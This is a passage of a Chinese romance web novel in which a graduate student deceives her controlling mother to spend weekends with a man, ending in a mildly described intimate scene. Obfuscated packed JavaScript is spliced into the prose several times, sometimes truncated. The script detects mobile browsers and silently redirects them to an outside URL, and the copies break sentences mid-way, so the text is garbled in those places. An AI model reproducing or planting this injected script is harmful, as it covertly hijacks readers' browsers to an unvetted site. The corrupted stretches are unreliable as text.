不要相的,要自己谈的。李十安心里嘀咕一句,但此时此刻已经不敢再说出口了,怕惹事。 程菀指挥李十安,“上来。” 李十安顺从地坐上车。担心被程菀追着问,暴露其他事情,李十安主动转移话题,“妈,你怎么在这里?” 程菀看着前方道路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446115|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “本来是去财政局交资料,出来后碰到你雯娜阿姨。” 李十安问,“雯娜阿姨?谁?” 程菀描述,“就是戴珍珠耳环的那个。” 戴珍珠耳环……李十安逐渐有了印象。上次他们去蔚蓝湖餐厅吃饭,碰到过一个阿姨,戴着精美硕大的珍珠耳环。她和程菀好像是许久未见的老朋友关系,多年后才终于偶遇,兴起之下聊了好一阵。李十安便在旁边观察了好一阵。 如果有可能的话,李十安也要戴这种虽然夸张但是漂亮的珍珠耳环。 程菀接着说道,“她要去凡希大厦找个人,正好我顺路,就载了她一段路。” 李十安轻声嘀咕,“凡希大厦和我们学校又不顺路,你怎么拐到这里来了。”凡希大厦和青山大学隔得近,但要是想回家,直接往南走就行,没必要拐这么一个弯。 “我这不是想着反正都到这儿了,干脆来你们学校转转,没想到还真碰到了你。” 李十安解释,“喔,我是准备去实验室……” 这一遭倒想起来了,李十安是准备去实验室做实验的,怎么莫名其妙跟着程菀上了车。她赶忙叫停,“妈,送我回学校,我得去实验室。” 程菀疑惑不解,“你昨晚不是一直待在实验室么?怎么,没做完?” 这一遭倒又想起来了,李十安昨晚为了去况允驰家住,找的借口是导师去实验室做实验,可能得忙到深夜,没办法回家。李十安解释,“呃……嗯……那个生物反应器忽然坏掉了,修了好久,刚通知回实验室继续做实验。” “你们学院也真是,基础保障都做不好。”程菀调转方向,“那你弄完给我打电话,我就在学校附近等你。” 李十安讶异,“不用吧……我会耽搁很久的。” “没事,我找个咖啡店坐坐,正好带了笔记本,不耽误事。” 李十安心情变得沉重。 当时还以为,沉重也就算了,熬一熬就过去了。哪知道,从那以后,程菀天天都要接送李十安。 “我妈说反正退二线了,她闲着也没事,就负责接我送我。”李十安告诉况允驰,“所以这段时间,我的活动场所就两个,家里,学校,全在我妈的监视下。”提起这事,李十安眼神暗淡,没了精神。 况允驰问李十安,“尝试过沟通?” “尝试过,”李十安张开一只手,“五次,没一次让我把话说完的。”刚起头就会被程菀打断,有时硬着头皮才说完一两句话,不合程菀心意,程菀立即就会发火。哪里还敢开口。 如果沟通有用,李十安倒也不必受这么久的控制了。 况允驰问,“还想去我家?” “当然想!”这话说得太急切了,不够矜持。李十安换了种平淡的语气,“我的意思是,在你家起码自由。” 明白了她的意思。况允驰拿出手机,翻出一个链接,递给李十安。 一个穿着白大褂的学生走来,收拾小书桌上的报纸。隔他们很近。 他们下意识地分开一点距离,面对自动贩卖机。冷白灯光勾勒出他们的身影。 学生抱着报纸走开了。 况允驰当真挑选起饮品,问道,“可乐来一罐?” “嗯。” 况允驰点击按钮,付了钱,拧开易拉罐,再把可乐和手机一道递给李十安。 李十安抿一口可乐,滑动手机屏幕,浏览链接内容,犹豫不决。 “这能行吗?” “试试看。” 9. 甜品 李十安向程菀介绍生物会展的大致行程,“星期五下午出发,星期日下午回来。” 程菀滑动手机屏幕,浏览链接里面的内容。第九届生物会展,将在武汉举办,由景和生物公司主办,星期五开幕,星期日闭幕。 程菀在意“第九届”这个关键词,“已经第九届了?怎么之前从没听说过。这个每年都会举办?” “之前是三年才举办一次。因为比较有影响力,所以从今年开始,好像准备每年举办一次。” 这全是况允驰为李十安准备的说辞,李十安一字不落地背了出来,声情并茂,像个博物馆讲解员。 程菀犹豫,“在武汉,也太远了。” “不远,坐飞机两个小时就到了。” 都坐飞机了还不远么,连青山市郊区都嫌远的。程菀思索着,“你说是导师让你去的?” “嗯。” 李十安拿聊天记录给程菀看。叶霏师姐发给李十安的微信,记录了这次会展的活动安排。 叶霏:[按照导师要求,本次生物会展由叶霏、郑铭铭、李十安、薛洋参加,请以上同学做好准备,并将身份证号码发给我,以便统一订票。拟定于本周五中午一点在机场集合。收到请回复。] 很长一段文字,程菀看了有一会儿。李十安控制不住地,手腕有些轻微颤抖。 程菀质问,“你抖什么?” “呃……”李十安硬着头皮,索性直接把手机塞给程菀,“我一直举着手机,手酸。” 程菀埋怨,“让你平时多锻炼,不信吧?”才这么点时间就手酸,没见过这么娇弱的。程菀拿着李十安手机,看信息内容,习惯性往上翻了翻。 不敢呼吸。 提心吊胆。 页面上显示的是李十安和叶霏之前的聊天记录。 李十安:[师姐,实验室钥匙在你那里吗?] 叶霏:[你要?] 李十安:[我下午想来拿一下,大概三点半的样子,可以吗?] 叶霏:[嗯。] 李十安:[谢谢师姐~给你带芒果还是凤梨?] 叶霏:[不吃。] 李十安:[好滴好滴。] 程菀大致浏览一遍,感慨道,“你这师姐,态度真冷淡。”消息来往,回复的讯息不超过两个字。 李十安干笑两声,“她就这样。” 他就这样,惜字如金,不爱开口,一天二十四小时估计都说不了几句话。 再往上便没有聊天记录了。程菀习惯性要去点开头像。 两眼昏花。 再点就要露馅了。 李赟站在饭桌前,叉着腰,扯着嗓子问道,“我那保温杯去哪儿了?” 程菀不耐烦,“说了让你好好放,不信吧?东西找不着,又来问我要。”她把手机还给李十安,起身走去厨房。李赟跟在身后。只听见他们那边不停传来翻找东西的响动。 李十安松一口气。 她给况允驰发消息:[好像安全过关了。] 况允驰:[我换头像。]为了伪装成叶霏,况允驰现在用的头像是一个女孩吃甜品时,举着叉子闭眼笑的模样。 这个头像十分钟前被周森看到,已经被讽刺了:[甜妹,跟哥谈恋爱吗?] 况允驰回复周森:[滚。] 这头像他是一秒也不想再用。 李十安央求:[别!拜托再坚持一下(委屈)]还没到最后一刻,依照程菀的性子,随时有可能发生变故。 程菀确实折返回来。她问,“你说你们导师让你参加的?” “……嗯。”这问题不是刚刚才问过么,怎么现在又问一遍。是察觉出哪里不对劲了么。 程菀追问,“那你们导师会去吗?” “喔……已经提前去了。”李十安翻出会展的现场图片,整个展览场所已经布置好了,并且召开了前置内部大会。是况允驰的同事发给况允驰的,况允驰又转发给李十安,李十安再拿给程菀看。 程菀放大图片,缩小。好似放大李十安的心,缩小。完全经不起折腾。 庆幸程菀没办法找导师求证事情的真伪,因为她没有导师的微信。其实程菀是想加导师微信的,方便询问李十安的学习情况。不过被导师回绝了,理由是从不添加家长微信。 想来也是,哪有人读研究生了,家长还要给导师联系的,又不是巨婴。 程菀想了想,“那行,周五我送你去机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446116|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场。” 李十安克制住兴奋,“嗯。” *** 轿车行驶在去往机场的路上。车流源源不断,道路繁忙。 程菀叮嘱李十安,“让导师多照顾你。” 李十安点头,“嗯。”实际怎么可能,就算真有出差,导师不嫌弃她丢人就够好的了。 程菀问道,“周日具体什么时候回来?我来接你。” 李十安忙拒绝,“不用,我们统一回来,还得回学校作报告。” “回来吃晚饭吗?” “……吃吧。” 心里是不想吃的,能在外面多晃荡一些时候,都觉得赚了。无奈实在心虚,又紧张,拒绝的话,再说不出口。 *** 因为是掐着时间点出发的,所以只能即停即走。 白色轿车停在区域内。李十安下车,与程菀告别。白色轿车驶离。 李十安进入机场大厅。大约十分钟后,李十安走出机场大厅,来到路边。 黑色轿车停在区域内。李十安上了车。黑色轿车驶离。 轻盈,晴朗。 所谓的“生物会展”正式开启。 李十安一直好奇,问况允驰,“看起来是个大活动,你怎么不参加?” “本质上是个商业活动,和研究关系不大。”况允驰淡淡说道,“没兴趣。” 李十安还想问,“没兴趣就可以不参加吗?”毕竟在她的世界里,导师安排的事情,就算再没兴趣,她也得参加。不过最终没有问出口。可能他拽吧,和她不一样,说不参加就可以不参加。 车里还备有一杯奶茶。况允驰递给李十安,“同事给的,我不爱喝。” 茉莉雪芽,李十安最爱喝的口味。她插上吸管。 今天好像特别幸运。 李十安都没察觉,她嘴角一直扬起。 况允驰单手把持方向盘,侧眼瞄一下,“这么开心?” 李十安笑道,“嗯。”有种即将去海边度假的感觉。特别开心。她看向况允驰,“以后有合适的活动,都发给我,我挨着用。” …… 还安排上了。 况允驰应了一声。 “行。” 10. 周末 在况允驰家度过的周末,做的都是些日常小事。 一起逛超市。他推车,她走在一旁。逛生鲜区、饮品区、零食区。站在冰柜前,李十安仔细研究冰淇淋的成分,看见了苯丙氨酸。西药,想到况允驰工作里也可能会用到。她问况允驰,“你能制这个么?” …… “我是生物制药,不是生物制冰淇淋。” 况允驰拿了一盒冰淇淋,往李十安额头上挨了一下,冰凉刺骨。李十安摸着额头,眯眼,偶然看到附近一个女人的身影。 好像程菀。 糟了。 李十安立即藏在况允驰身后。他的身高足够遮挡她,但仍觉得不保险,她又谨慎地挪动,藏到两排货架之间。 况允驰大概猜到了什么。他替她观察了那个身影,好一阵。他身体稍向后仰,越过货架看向李十安,“你有亲弟弟?” 李十安举着一包黄瓜味薯片遮脸,“没有,我是独生女。”她的眼睛悄悄冒出薯片袋,“怎么忽然这么问?” 况允驰再看一眼前方的场景,“那她应该不是你妈妈。” 没听明白况允驰说的到底是什么情况。李十安横着贴着货架移动,像螃蟹。她只露出半个脑袋。 那个女人正带着两个孩子逛超市,大女儿看起来和李十安差不多,小儿子才只是个戴红领巾的小学生。 姐姐向妈妈告状,“妈,你看他!” 妈妈责怪弟弟,“快还给姐姐。” 弟弟调皮,不仅不还东西,甚至对姐姐做鬼脸。姐姐一怒之下,一巴掌拍下去。弟弟这回老实了,还了东西,眼睛里带点泪珠,“妈……” 李十安看清了,那个女人是他们的妈妈。不是程菀。可世上真有那么像的人,长发低马尾,右脸颊的酒窝,连雾蓝色衬衣都一模一样。李十安嘀咕,“我妈背着我偷偷有个双胞胎姐妹?” 况允驰拿出手机,“马上给阿姨打个电话核实一下。” 李十安立马抢过况允驰的手机,“你疯了?”抢了才反应过来,他根本没有她妈妈的电话。他纯粹是在逗她。她把手机又塞回他手里,嘀咕,“烦人。” 他怪讨厌的。 李十安自顾自往前走去。况允驰看了眼货架,把李十安刚放回去的黄瓜薯片装进了购物车里。 *** 回家后,一起做饭。况允驰炒菜,李十安调制饮料。 李十安想做的是杨枝甘露。煮西米,剥柚子,切芒果,倒椰汁。每一步都是按照说明来的。只是最终呈现出来的味道吧,有一种说不上来的感觉。不难喝,肯定也说不上好喝。确实是杨枝甘露没错,只不过西米是西米味,芒果是芒果味,各管各的。 “不知道差点什么。”李十安举着水纹玻璃杯,“你觉得到底差什么呢?” 况允驰拿过李十安手里的玻璃杯,喝了一口。 “诶——” 这是她喝过的。他很自然地就喝了。喝了才想起这个事。 面面相觑,懵了一秒。 况允驰把玻璃杯放到岛台一旁,“这杯我喝,你重新倒一杯吧。” “嗯。”也不能在这个事情上过多纠结。本来就有些尴尬的,再多拉扯,岂不更尴尬。李十安新倒一杯,调味道,加了香草糖浆。 “给你那杯也加点?” “嗯。” 新味道,怎么说呢,总之要比之前的好喝一些。 *** 做完饭后,照例是把饭菜摆在饭厅。餐桌上已经摆了两个餐盘。李十安欲言又止。 况允驰看出了李十安的迟疑,“怎么?” 李十安问道,“可不可以去客厅吃饭?我想看电视。”边看电视边吃饭,在家是完全不可能的。有一次在梦里梦见了这个场景。 况允驰应道,“行。” 在客厅吃饭,坐在地毯上,饭菜摆在茶几上。看的电视是海贼王。 对的,梦里梦到的就是这个场景。好像也是两个人。 *** 饭后,因为工作上还有一些事情没处理完。况允驰去书房加班。 与其说是书房,不如说是电竞房。胡桃木桌靠落地窗摆放,台式笔记本平板各一台,两个音响矗立。当然也有许多工作相关的东西。 李十安原本留在客厅继续看电视。身边少了一个人,看电视也变得清净了。她不大习惯。 回卧室去,串手串玩。这是李十安的一个自娱自乐的爱好。先按红橙黄绿的顺序串成一道彩虹,再单独串一串全白色的,最后串一串全黑色的。串了有一段时间,玩得无聊了,望向门外。 要不去书房找他玩。 书房的门敞开着,况允驰背对着门。 李十安起初是在门口好奇往里看,后来不知不觉,走了进去。她特意背着手,怕这双手不自觉,乱碰东西,不礼貌。 莫名走到了况允驰身边。 况允驰侧头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叫况允驰好像太生疏,叫况哥哥好像太肉麻,叫允驰好像太亲密。结果只叫出了一个字,况。 况允驰回头,“嗯?” 李十安郑重其事。 “谢谢。” 谢谢你,今天过得特别开心。 11. 南汀 第二个周末,李十安去了篮球馆。 球鞋与木地板的摩擦声此起彼伏,拍球声、口哨声、欢呼声混杂在一起,响彻场馆。李十安站在了场边的一个角落里。 况允驰穿着白色宽松篮球服,正原地运球,观察四周。其实是想找场上位置合适的队友接应,却在侧头时,一眼看见了场边人群边缘的李十安。 短暂地对视一眼,两人默契地没有打招呼,装作陌生人。 况允驰动作停顿一下,随后挥臂,把球传给时星楠。有些走神。但因为比赛仍在继续,况允驰收回视线,集中注意力。 配合挡拆,远投三分,制造犯规两罚两中,盖帽,抢篮板球后灌篮得分,况允驰与队友逐渐拉大比分。 中场休息,球员聚在一起,听教练布置战术。况允驰坐在长凳上,躬身,长腿敞开,手肘撑在腿上,指缝间吊着一瓶矿泉水。他耳朵在听教练说话,眼睛在寻找场边李十安的身影。不见人影。 况允驰给李十安发消息:[人呢?] 李十安回复:[先走一步。] 况允驰:[不看完?] 李十安:[书妍急着回家换衣服,再去月影湖露营地。] 今晚露营的事,早些时候,李十安向况允驰提起过。她问况允驰会不会去,况允驰说是有工作安排,得加班。况允驰又问李十安会不会去,李十安说是得开组会,去不了。 现在看来,估计情况有变。 况允驰问李十安:[你要去?] 李十安:[嗯,组会取消了。你呢?是不是要加班?] 车被许书妍忽然踩了个急刹,李十安坐在副驾驶上,身体前倾,又被安全带给拽回来。“刺激。”李十安问,“怎么了?” 许书妍指着前方,“红绿灯看岔了。” 是左转的绿灯亮起,许书妍往前开车,才发现直行的灯仍然是红色,又急忙刹车。车停在了斑马线上。 “怪尴尬的。”许书妍嘀咕,“其他车不会在看我们吧。” 李十安催促,“快把窗户关了。” 她们关了窗户,觉得又尴尬又好笑,在车里也悄声交谈了几句,聊着天。隔了一阵,李十安才想起继续看手机。 况允驰没有回复她的消息。 估计忙吧,李十安心想。她并没有在意这件事。 *** 晚上露营,还是在月影湖边的草地上,和上次一样的位置。柠檬黄色灯串勾勒出天幕帐篷的轮廓。 李十安和许书妍到达的时候,碰巧周森一行人正好下车。其中有况允驰。李十安感觉有些意外。 他们在森林小路汇合了。 许书妍和他们都认识,是老朋友。李十安虽然三个月前和他们见过一面,但也仅此一面而已,完全处于不熟悉的状态。 最热情的人依旧是周森,开口便叫上一句,“十安妹妹。” 李十安礼貌地微笑应和。 周森顺手向李十安介绍身旁的人,“这是况允驰。” “啊这……”李十安心里嘀咕,又介绍上了是么。 周森的话密得更本不给李十安插嘴的缝隙。 周森问,“你们上次见过的,你还记得吗?” 李十安答,“啊记得记得。” 周森问,“上次好像是坐那张桌吧?” 李十安答,“啊对对。” “那就打个招呼呗。”周森撺掇,“多见几次,就是朋友了,以后经常出来玩。” 李十安有些懵圈,来不及反应,顺着周森的话,向况允驰招了下手,“嗨。” 况允驰面无表情,甚至没有开口,只单单向李十安轻点一下头,意思意思。 冷淡,敷衍。 叫人一肚子气。 后来还想介绍其他人,碰到营地里的人在招手催促,于是队伍一边聊天一边缓慢移动,向露营地走去。 他走在队伍前面,她落在队伍后面。 李十安想起况允驰刚才那副高冷的模样,越想越气。她给况允驰发消息。 [拽什么拽!] 况允驰单手打字,回复一句。 [人设。] 李十安没忍住,盯着屏幕笑了一下。 许书妍好奇,“笑什么?” “喔……想到要吃烧烤了,开心。”李十安挽着许书妍的胳膊,快步跟上队伍。 *** 许书妍替李十安找了张蛋卷桌,搬来一把克米特椅,端来一盘烧烤。 “我主管那边我得先去一趟,牛马还是得有作为牛马的眼力见。”许书妍埋怨,“哪个缺心眼的把主管也叫来了?整得露营跟上班有什么区别。” “你主管不会当场让你加班吧?” “那倒应该不会。”许书妍反问,“你一个人不会孤单吧?” “我不是怕孤单的人。”比起和倒熟不熟的人坐一起,强行融入不熟悉的圈子,费力社交,李十安宁肯自己呆着,自得其乐。 搓搓手,李十安在人声热闹中独自享受美食。第一口吃鸡翅。因为烤串看起来色泽鲜艳,焦脆,香味四溢,所以李十安这第一口咬得很大。 被毫无防备地辣到了。 哪个缺心眼的,烤烧烤竟然放那么多辣椒。 眼泪被辣出来了。李十安吃得急,又被呛了几声。一张桌子上,除了烧烤以外,其他什么也没有。李十安拍着胸脯,四处寻找救援。况允驰从桌前走过,从左到右。路过李十安桌前的那一瞬,放了一瓶冰镇的荔枝汽水在桌上。 救命汽水。 瓶盖是被拧松了的。李十安慌忙喝下一大口。冰凉的感觉直达心底,气泡在胸腔里翻腾。舒服好些。再喝一口,缓解一大半。 况允驰从桌前走过,从右到左。路过李十安桌前的那一瞬,落下一包抽纸在桌上。 李十安抽出一张纸巾,擦掉溢出眼角的眼泪,再擦掉手心里沾上的冰凉水珠。 况允驰走到饮品台一侧的木桌旁,绕过,向自己的位置走去。他给李十安发消息。 [饮品台旁有甜点和水果。] [我端太显眼。] 走到自己位置,坐下。同桌的人正碰杯。况允驰端起杯子,碰一下。没喝酒,喝的白水。 周森凑近问道,“你走去走来的干什么?” 况允驰淡然道,“锻炼。” 他靠着椅背。感觉到一颗小石子落到脚边。回头。 是李十安扔的小石子。甜品和水果已经摆在她桌上了。她向况允驰抱拳,用唇语说道,“多谢。” 况允驰转过身。 背着举起手,小幅度地向她挥了一下。 *** 刚才被辣,李十安出了一些汗,嫌热。湖边晚风一阵阵吹来,李十安冰凉皮肤,又嫌冷。晚风已经带着些许低温了。秋天变冷了呐。李十安摩挲一下手臂。 喝掉最后一口荔枝汽水后,李十安收到了况允驰的消息。 [来小森林。] 李十安放好手机。假装四处闲逛的样子,在营地里穿梭。等没人注意的时候,去往小森林。 遥遥看见一个穿着黑色冲锋衣的高个男生。 她走了过去,“干嘛?” “这里背风。” “切。”就为这个叫她来么。李十安想了想,问道,“你今晚不是要加班吗?怎么又来露营了?” “工作提前弄完了,就来了。”况允驰回答。 月色皎洁,月影湖面银光灿烂。 况允驰低声道,“以后别吃别人烤的烧烤。” 李十安没听懂,“为什么?” “没我烤的好吃。” 李十安笑道,“真的假的?” 况允驰问,“七月,我们也在这里那次,烧烤味道怎么样?” 李十安回想,“那次好吃,我吃了挺多的。”忽然想到了什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446118|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是你烤的?” “嗯。”况允驰说,“待会儿单独给你烤一盘。” “喔——”李十安有些开心,“那我要鸡爪鸡翅鸡腿,羊肉牛肉五花肉,土豆藕片韭菜茄子。” …… 还点上了。 况允驰应道,“行。” 电话铃声响起。是工作上的电话。况允驰和对方通话,光是听见对方叽啦呱啦说上一大堆,况允驰这边回复一个字,“嗯。”对方又叽啦呱啦说上一大堆,况允驰这边又是只回复一个字,“嗯。” 如此循环往复四五次。 原来他跟别人打电话是这个样子。 等到通话结束,恢复到两人独处的时候,李十安好奇问道,“为什么你打电话,一次只说一个字?” 况允驰低声,一本正经,“因为我很高冷。” 愣了两秒。随后李十安爆发式地笑起来。 神经。 莫名出现的冷幽默。 她越想越好笑,弯腰,肩膀抖动不停。他也跟着笑了下。 不远处,周森正慢慢走来。 月光下,松林间,具有身高差的男女站在一起,清晰的黑夜轮廓。 周森走了过去,“你俩在这里干什么?” “呃……”李十安指着另一侧,“我找卫生间,迷路了,碰到他就问问他。” 周森笑道,“巧了,我也去。跟我走。” 周森在前面带路,李十安在后面跟着。秋风终于吹进了松林,落叶瑟瑟。 回来时,没想到况允驰仍在原地等待着。 周森先到。他洗了手,双手沾这水珠。先在自己衣服上擦一擦,没完全擦透,顺手想到况允驰衣服上擦一擦。还没挨上去,被况允驰察觉,对上眼神。冷淡的眼神本就叫人害怕,又有黑夜的衬托,更显得瘆人。周森只好识趣地收回手,骂骂咧咧,“小气宝。” 李十安随后来。她同样洗了手,同样双手沾着水珠,她先在空中甩了甩,走到况允驰身边后,也是动了歪心思,伸出手来。在半路,和况允驰四目相对。李十安嬉笑着,继续往前伸。扯住衣角,擦手背,擦手心,连指缝也擦。 擦得又慢。 只有等着。 *** 露营持续到深夜十二点,到了该散场的时候。 李十安直到吃完况允驰烤的最后一串烤鸡爪,才站起来,加入商谈的队伍。三五成群,围在一起商量该怎么下山。谁坐谁的车,谁的车还能坐人,谁和谁顺路。李十安暗自思考,怎么开口才能坐上况允驰的车。你一言我一语,根本没有插嘴的机会。 起初,况允驰并没有开口,甚至特意向后挪一步,隐藏在人群里,降低存在感。商量一圈,话题落到了况允驰头上。 周森问况允驰,“你回哪个家?蔚蓝湖还是南汀?” “南汀。” 况允驰扫视一圈,视线停留在李十安身上,“这位李……” …… 说不出她的名字。 装得还有模有样。 “李十安。”李十安被迫自我介绍。 “你是不是也住南汀?”况允驰回想,“上次好像你坐过我的车。” 许书妍应和,“对对对,她今天回南汀,你再送送呗?” 李十安微笑着,“那就麻烦你了。” 礼貌,客气,疏离。 不动声色地达到目的。 这样的状态一直持续到车队出发。他们的车速度慢,不断有别的车辆超过他们。车窗开启,每次有朋友超过时,都会打声招呼。 “走啦。” “回见。” 一辆辆车灯在路灯下行成流淌的小溪。况允驰开车慢,直至成为最后一名。李十安终于关上了车窗。 抑制不住地笑了下。 后来,李十安仍记得当时的心情,期待兴奋。她从没想到,就在那晚,命运的弦会被轻轻拨动。 12. 玩火 那天晚上,李十安半夜习惯性被渴醒。依旧是驾轻就熟地摸黑去往餐餐边柜。 熟悉的身影站在黑暗里,月光在他身上披了一层银白。他打开了最柔和的灯带,“纯水还是柠檬水?” “那就纯水吧。”李十安睡眼惺忪。 他把水纹玻璃杯递给她。 兴许是暖光的关系,况允驰看起来不是那么冷淡了。也兴许是她的错觉,她看他竟然看出了一丝温柔。 不知道能不能形容为意乱情迷。 总之在那一瞬间,有了一个念头,产生一种冲动。 她踮起脚尖,抓着他的衣角,吻了上去。 这一次,轮廓模糊,光影朦胧。万籁俱寂,只听见强有力的心跳。 他愣了下。 突然而来的靠近叫人措手不及。况允驰手里还举着水杯,为了避让李十安,下意识地在半空将水杯往身旁挪动。就这么悬停在半空中。 什么情况。 李十安松开了手。她抿嘴,再摸下唇,回想刚才发生的那一幕。第一次吻男生,还是长得那么好看的男生。怎么说呢……就感觉,长得那么好看的人,嘴巴也是软软的。 比想象更多了一份触觉的真实感。 李十安一边回味着,一边转身往卧室走去。 况允驰想追去,一时忘了手里还有水杯,晃动之间,纯水洒了一地。脚步滞留。况允驰放下水杯,抽纸擦手,抬头望去。 “喂!” 那边已经关上了卧室门。 完全摸不清状况。 到底发生了什么。以及这一切是如何发生的。 好像一个从电影里随机抽取出的片段一样。 *** 想了半天,况允驰还是决定去公司加班,即便今天是周日。不然待在家里,不知该如何面对昨晚那个吻。 早起,况允驰煮了一碗红油面,加一个煎蛋,当作早餐。正要吃第一口,李十安穿戴整齐地走出了卧室。 况允驰举着筷子,“你要上学?” “不是,开个视频会而已。”李十安反问,“你要上班?” “嗯。”况允驰索性放下筷子,起火,让刚平静的水又一次沸腾,“早餐吃面,冰箱里有牛奶。” 冰牛奶,一升装。李十安给自己倒了一杯,给况允驰倒了一杯,对齐放好。 再做煎蛋可能来不及了。况允驰煮好面条后,把碗里的煎蛋夹给李十安。 李十安想过把煎蛋夹回去。他又煮面,又让煎蛋,哪能这么吃亏。但再想又觉得,即便她把煎蛋夹回去,况允驰也是不会接收的。于是,把煎蛋分成了两半,一人一半。 况允驰看着碗里的半个煎蛋,有种异样的感觉。她和他平分东西吃,算亲密吗?不由自主又想起了昨晚那个吻。 搅得人一夜没睡着。 况允驰问道,“昨天晚上……” 李十安抬起头来,“嗯?怎么了?” 一脸天真。 况允驰旁敲侧击,“半夜起来喝水的时候……” “嗯?”李十安咀嚼面条,“我习惯了,每天晚上都会起来喝水。打扰到你了吗?” …… 你说呢。 “没有。”况允驰继续吃面,没有再说话。 看来她是记不得了。 莫非真是梦游么。 *** 开完视频会,一个上午就这么过去了。开会也挺累人。李十安伸懒腰。就在那一瞬间,她忽然想起了一个场景。 她和他接吻了。 画面清晰,一眨眼就能在眼前重现,仿佛刚过去几分钟。 昨天晚上的事。 然而有一点,李十安想不明白,这究竟是梦里的场景,还是真实的场景?那时候睡得迷迷糊糊的,分不清梦境和现实,一头雾水。 不行。 再努力想想看。 想起了早上吃早餐时,况允驰问她的话,“昨天晚上……” 他是知情的。 这是真实的。 捅了娄子了。 李十安脑袋懵圈。盘腿坐在椅子上,咬着手指,思考下一步该怎么办。她拿出手机,准备给况允驰发消息,解释清楚。 怎么才能解释清楚呢。 说她是个好女生,作息规律,早睡早起,刻苦学习,成绩优异,锻炼身体,健康阳光,尊老爱幼,热心助人,嗜好健康,遵纪守法,听话懂事,是个传统意义上的模范乖乖女。 只是偶尔想发疯。 她的人生,哪有不发疯的。 只不过这次,似乎失去控制了。 李十安点开与况允驰的对话框,思索该怎么组织语言才能够体面地坦白。巧的是,她看到了对话框上方的提示:[对方正在输入。]提示出现一会儿,消失,又出现一会儿,又消失。 他是准备发消息么。 隔了不久,况允驰的消息终于传来:[中午不回家,晚上回来得晚。我给你点外卖。] 李十安:[不用,我会做菜。] 况允驰:[会做什么?] 李十安:[螺蛳粉。] 这……和煮泡面没什么两样。 况允驰:[点好了。] 依照她的口味点的麻辣烤鱼,加了豆腐、藕片、土豆、青笋,额外附一份藤椒鸡翅尖、一份芝士红薯、一扎青柠气泡水。份量足够她吃午饭和晚饭。 这样的安排,应该没问题。 *** 况允驰晚上十点才到家。 李十安在他家的生物钟,一般是十二点才会睡觉。所以况允驰进门的时候,并没有特别注意到什么,以为李十安还在玩。他换鞋,放笔记本手提包,倒柠檬水。刚要喝第一口,察觉到李十安正躺在沙发上,似乎是睡着了。 柠檬水也不敢喝了,轻轻放下玻璃杯。况允驰小心谨慎走过去,蹲在沙发旁。李十安睡得很香,呼吸均匀,眼眸偶尔微微转动,睫毛轻颤。 原来她睡着是这个样子的。 她的身体蜷曲,双臂搭在身前。穿的是白底睡衣,点缀熊猫图案。身上没盖被子。怕她着凉。况允驰回房间,找了条薄毯,想给李十安盖上。盖的动作明明很轻。弯腰,双手捏着薄毯边缘,缓慢盖在胸前。 没有意识到,隔得很近。 李十安就是在这个时候,睁开了眼。 对视。眨一下眼睛。停留在原地。 意料之外地近距离。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时间好像很短,只轻微触碰一下。时间又好像很长,柔软的感觉一直围绕着。意犹未尽那样。 她抿了下嘴唇,尝试再一次踮脚,仰头。他却忽然弯下腰来,吻上了她的唇。 右手轻轻贴在她的后脑,指尖穿过发丝。左手贴着腰,把她往怀里带。其实是想温柔的,但难以克制地,稍稍用了些力气。 如果刚才的叫作吻,那现在的又叫作什么呢。 原来可以这么深入,可以叫人呼吸困难。 玩火。于是火燃烧起来。 她瞬间清醒了。抓着他的肩膀,试图推开。可哪里推得动他。大半的力气被抽走。身体不争气地软了下来,站不稳。仍然仰着头,微微有些迎合。他便更加深入一层。腾空,紧贴玻璃门,逐渐向下的吻。她的意识又逐渐转为混沌模糊,双臂环绕他的脖颈,整个身体全部交由他牵引着。 不知道什么时候,以什么姿势回到房间的。回过神来的时候,她已经被放在床上了。印象中他出去了一下,又回来,带来炽热的触摸。 月亮融化成水,在湖面荡漾。星子融化散开,连为薄纱似的一片。 什么都看不清。除了他肩膀上的一小道伤疤。 耳语嘤咛。温热粘腻。眩晕。摇晃。海水拍打岩石的声音。急促的呼吸。沉溺其中无法自拔。直至在睡梦中,某一刻,光线耀眼。 13. 松脂 玩大了,这次真的玩大了。 